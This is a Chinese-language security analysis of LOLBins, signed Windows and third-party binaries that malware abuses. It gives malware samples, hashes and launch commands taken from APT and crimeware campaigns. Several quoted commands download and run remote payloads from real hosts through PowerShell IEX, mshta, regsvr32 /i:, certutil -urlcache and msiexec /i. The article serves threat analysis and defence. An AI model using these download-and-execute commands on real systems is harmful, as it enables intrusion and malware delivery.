一、前言
大家对于白利用的手法已经屡见不鲜了,这篇文章将对白利用的概念进行涵盖用一个全新的名字进行描述,那就是LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。随后进行广泛的互联网民意调查,并在达成普遍共识(69%)之后,该名称被正式指定。。
二、概述
1) LOLBins社区LOGO。
2) 什么程序才能称之为LOLBins?
- 可以是带有Microsoft签名的二进制文件,可以是Microsoft系统目录中二进制文件。
- 可以是第三方认证签名程序。
- 具有对APT或红队渗透方有用的功能
- 该程序除过正常的功能外,可以做意料之外的行为。(如:执行恶意代码、绕过UAC)。
三、LOLBins常见的利用
1) Microsoft系统自身利用
1.作为经典的利用之一cmd.exe,可以使用任意的cmd命令。最为常见的启动进程。
[举例]
样本家族:Sednit(APT28)使用的代号为Zebrocy家族木马。
样本描述:收集主机相关信息,发送至C&C服务器,同时接收远程恶意程序。
MD5:FCA0C829DA63CE9EA33548EEF9C23A43
场景:收集主机系统信息。
启动命令:cmd.exe /c SYSTEMINFO & TASKLIST
启动cmd进程,使用SYSTEMINFO & TASKLIST命令收集系统信息。
2.作为经典的利用之一PowerShell.exe,可以加载任意powershell命令。最为常见的启动加密的脚本。
[举例]
样本家族:Beapy。
样本描述:Beapy是一种新型的挖矿攻击程序,它使用电子邮件快速传播诱导用户点击
下载安装DoublePulsar,执行了一些PowerShell命令后就会下载挖矿模块以“无文件”
方式进行门罗币挖矿。。
MD5:CE91282246389298B56FFF594D9E6D03
场景:创建任务计划,运行powershell代码,下载挖矿程序。
启动命令:IEX (New-ObjectNet.WebClient).downloadstring(‘http://v.beahh.com/v’+$env:USERDOMAIN)
Powershell混淆代码,去混淆后如上代码。
3.作为经典的利用之一rundll32.exe,可以加载任意动态链接库(dll)的指定导出函数。最为常见的在后门启动阶段使用cmd命令,进行加载动态链接库dll。
[举例]
样本家族:Cozy Bear(APT29)使用的代号为Cobalt Strike Beacon的木马。
样本描述:该文件为LNK文件,指向powershell,最终加载后门木马。
MD5:6ED0020B0851FB71D5B0076F4EE95F3C
场景:加载后门木马。
启动命令:& ($(“rundll32.exe”)) $(“,”) $(“PointFunctionCall”)
通过powershell脚本启动rundll32,进而加载后门中的导出函数。
[举例]
样本家族:Cozy Bear(APT29)使用的代号为Cobalt Strike Beacon的木马。
样本描述:该文件为LNK文件,指向powershell,最终加载后门木马。
MD5:F713D5DF826C6051E65F995E57D6817D
场景:设置开机启动项,开机加载后门程序。
启动命令:rundll32.exe “hqwhbr.lck”, #2
4.wmic.exe,WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),执行“wmic”命令启动WMIC命令行环境。这个命令可以在XP或 .NET Server的标准命令行解释器(cmd.exe)、Telnet会话或“运行”对话框中执行。这些启动方法可以在本地使用,也可以通过.NET Server终端服务会话使用。
[举例]
样本家族:Sednit(APT28)使用的代号为Zebrocy家族木马。
样本描述:收集主机相关信息,发送至C&C服务器,同时进行接收远程木马程序。
MD5:2B16B0F552EA6973FCE06862C91EE8A9
场景:收集主机系统信息。
启动命令:
wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace
//本地所有磁盘盘符、描述、卷标序列号、总空间、剩余空间
&wmic diskdrive get Model, SerialNumber
//各个硬盘型号、序列号。
&wmic computersystem get Manufacturer, Model, Name, SystemTypec
//电脑制造商、型号、计算机名称、平台类型。
&wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages
//系统名称、系统架构、系统语言、系统盘符、交互语言
&wmic process get Caption,ExecutablePath
//当前运行进程标题、路径。
程序由C#进行编写,调用wmic命令,获取主机信息。
5.Mshta.exe,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用。
[举例]
样本家族:未知。
样本描述:通过点击flash程序触发编号为CVE-2018-15982漏洞,进而使用mshta执
行远程hta程序。
MD5:AABDCE4E0EABC472AC70BFDE14777C39
场景:执行远程hta程序。。
启动命令:
C:\WINDOWS\system32\mshta.exe http://47.75.114.250/resources/project/1/e0eajvtw/be473cc3342b51cd4918f67f5dfc1e66/load.hta
6.Cscript.exe,Windows Script Host引擎,用于加载wsf,.vbs,.js等脚本。
[举例]
样本家族:DarkHydrus。
样本描述:程序使用C#编写无混淆。通讯使用dns隧道技术,是一款典型的远控程序。
MD5:B108412F1CDC0602D82D3E6B318DC634
场景:添加开机启动项,启动脚本。。
启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”
7.regsvr32.exe,用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令。
[举例]
样本家族:暗云4。
样本描述:该样本伪装WPS程序,程序加有VMP壳,样本收集目标主机信息、抓取用户
登录凭证生成文件后上传至FTP服务器。
MD5:BC7FC83CE9762EB97DC28ED1B79A0A10
场景:加载远程sct脚本。
启动命令:regsvr32 /u /s /i:http://js.0603bye.info:280/v.sct scrobj.dll
8.Certutil.exe,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。程序有一特性是能够从远程URL下载证书或任何其他文件。
[举例]
样本家族:驱动人生永恒之蓝。
样本描述:驱动人生永恒之蓝下载器木马,利用永恒之蓝漏洞扩散传播的挖矿木马。
MD5:BC26FD7A0B7FE005E116F5FF2227EA4D
场景:成功入侵后,进行感染。
启动命令:certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:/installs.exe
9.msiexec.exe,系统进程,是Windows Installer的一部分。用于安装Windows Installer安装包(MSI)。
[举例]
样本家族:TA505
样本描述:黑客团伙TA505对某金融机构进行的一场精心策划的攻击事件,它是一起具
有强针对性的网络钓鱼。恶意软件的持久性可根据环境选择是否创建,攻击利用称为
ServHelper的复杂后门。
MD5:2D3238185537429EA693A81A1C6CA4C0
场景:连接到远程C2服务器并下载第一阶段payload。
启动命令:msiexec.exe RETURN=800 /i http://79.141.171.160/alg /q ksw=’%TMP%’
从ProcessHacker中可以看到程序的启动参数。
10.Installutil.exe,安装程序工具是一个命令行实用工具,你可以通过此工具执行指定程序集中的安装程序组件,从而安装和卸载服务器资源。程序将会寻找卸载程序中的InstallUtil()函数,进行调用。
[举例]
样本家族:海莲花。
样本描述:使用白加黑手法,在内存中加载后门程序。
MD5:D801C315332DC8AEF0387E7A323B77D4
场景:加载后门程序。
启动命令:Installutil.exe /logfile= /U “InstallerAndroid.amv”
/f=”MapsLogsCoreWindowsProgram.flv” /k=”FrameWorkSupport”
[安装程序参数] /U为解密ps代码的程序,[加载器参数] /f为核心加密的ps代码,
/k为解密的key。
后门程序的函数InstallUtil
后门程序中判断参数的流程。
11.MSBuild.exe,生成项目或解决方案文件。程序运行将会寻找该项目文件中指定的TaskName名称中对应的程序的Execute()函数,进行调用。
[举例]
样本家族:海莲花。
样本描述:使用白加黑手法,在内存中加载后门程序。
MD5:F629F41E8BE344137B50119F143762AD
场景:加载后门程序。
启动命令:MSBuild.exe Document.csproj
/p:AssemblyFile=”TeamNotepadBackupWindowsConfig.mpeg”
/p:ScriptFile=”NetworkSupport.mpeg”
/p:Key=”SupportMapsDatabasesNotificationsDatabases”
[程序参数] csproj项目文件名称,[csproj参数] 根据项目文件中参数进行传递。
Csproj项目文件,包含项目名称、参数信息。
加载器中的Execute函数。
12.write.exe, 系统写字板程序,程序加载需调用PROPSYS.dll中的PSCreateMemoryPropertyStore()函数,同时也加载config配置文件。
[举例]
样本家族:“响尾蛇(SideWinder)”APT组织(T-APT-04)
样本描述:木马文件利用白利用技术,经过多次内存装载执行,达到窃取信息的目的。
窃密模块通过遍历收集的目标文件目录,然后把文件数据以及标签项封装成json的压
缩格式上传到C&C服务器。
MD5:58DE7C0DF5BD677E1A3CDC099019015D
场景:解密后门程序,并加载。
PROPSYS.dll中的PSCreateMemoryPropertyStore函数。
PSCreateMemoryPropertyStore中的Load函数解密Ugvclo.tmp并进行加载。
config配置文件为兼容性配置。
13.rekeywiz.exe, 加密文件系统证书管理向导程序,程序加载需调用mpr.dll。
[举例]
样本家族:海莲花(OceanLotus)。
样本描述:本次攻击行为使用了典型的白加黑利用技术,通过带有效签名的可执行exe
文件运行后自动加载木马文件。
MD5:2E297A31E3FFFE37875EFAF5CD0135DD
场景:释放下一阶段程序。
RekeywizI程序依赖MPR.dll,将会调用以上两组函数。
2) 第三方认证签名文件利用
- WeChat.exe,微信主程序,需调用WeChatWin.dll运行。
[举例]
样本家族:海莲花(OceanLotus)。
样本描述:本次攻击行为使用了典型的白加黑利用技术,通过带有效签名的可执行exe
文件运行后自动加载木马文件。
MD5:2E297A31E3FFFE37875EFAF5CD0135DD
场景:下载木马程序。
主程序调用WeChatWin.dll中的StratWachat函数。
四、小结
以上利用列举了各类家族中使用的案例,在整个LOLBins中只是一小部分。
从以上案例可以得出,想使用白利用只需要分析白程序调用哪些动态链接库中的函数,进而伪造这个动态链接库即可,也可以称之为DLL劫持。
下面将列举常见的LOLBins。
文件名称 | 功能 | 类型 |
Certutil.exe | 用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。 | EXE |
Cmd.exe | 微软Windows系统的命令行程序。 | EXE |
Cscript.exe | 可以用来从命令行运行脚本。 | EXE |
Expand.exe | 展开一个或多个压缩文件。 | EXE |
Installutil.exe | 安装程序工具是一个命令行实用工具,你可以通过此工具执行指定程序集中的安装程序组件,从而安装和卸载服务器资源。 | EXE |
Msbuild.exe | Microsoft Build Engine是一个用于构建应用程序的平台 | EXE |
Mshta.exe | 微软超文本标记语言应用程序。 | EXE |
Reg.exe | 是微软注册表控制台工具的一个进程。 | EXE |
Regedit.exe | 可用于修改Windows系统的注册表中的项,值以及数据。 | EXE |
Regsvr32.exe | 用于注册Windows操作系统的动态链接库和ActiveX控件。 | EXE |
Rundll32.exe | 执行DLL文件中的内部函数。 | EXE |
Sc.exe | 查看服务状态管理服务。 | EXE |
Schtasks.exe | 安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。 | EXE |
Wmic.exe | Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。 | EXE |
Wscript.exe | 微软Microsoft Windows操作系统脚本相关支持程序。 | EXE |
Netsh.exe | 可以用来在命令提示符处配置并监视基于 Windows 的计算机的工具。 | EXE |
Powershell.exe | 一个基于.Net的shell和脚本语言的命令行程序。 | EXE |
参考链接
https://lolbas-project.github.io
https://github.com/api0cradle/LOLBAS
https://github.com/api0cradle/LOLBAS/blob/master/LOLBins.md